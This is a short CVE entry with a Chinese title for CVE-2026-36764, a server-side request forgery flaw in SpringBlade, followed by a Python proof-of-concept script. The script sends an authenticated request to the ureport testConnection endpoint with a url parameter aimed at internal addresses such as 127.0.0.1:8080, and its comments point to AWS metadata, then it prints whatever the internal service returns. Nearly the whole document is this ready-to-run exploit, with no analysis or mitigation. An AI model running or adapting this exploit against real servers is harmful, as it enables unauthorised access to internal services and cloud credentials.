CVE-2026-36764 SpringBlade服务端请求伪造漏洞

import requests # Target URL of the vulnerable SpringBlade instance target_host = "http://vulnerable-host:80" endpoint = "/ureport/datasource/testConnection" # Internal resource to access (e.g., local admin panel or file) # Example: Scanning internal port 8080 or AWS metadata internal_target = "http://127.0.0.1:8080" # Attacker's authenticated session cookie (Required: PR:L) # Replace 'valid_token' with a real session token obtained after login cookies = { "Blade-Auth": "valid_token" } # Malicious payload parameters # The parameter name might vary based on implementation, 'url' is used as a generic example payload = { "url": internal_target, "name": "test", "driver": "com.mysql.jdbc.Driver" } try: # Sending the crafted GET request response = requests.get(target_host + endpoint, params=payload, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] SSRF Triggered successfully!") print("[+] Response from internal resource:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}")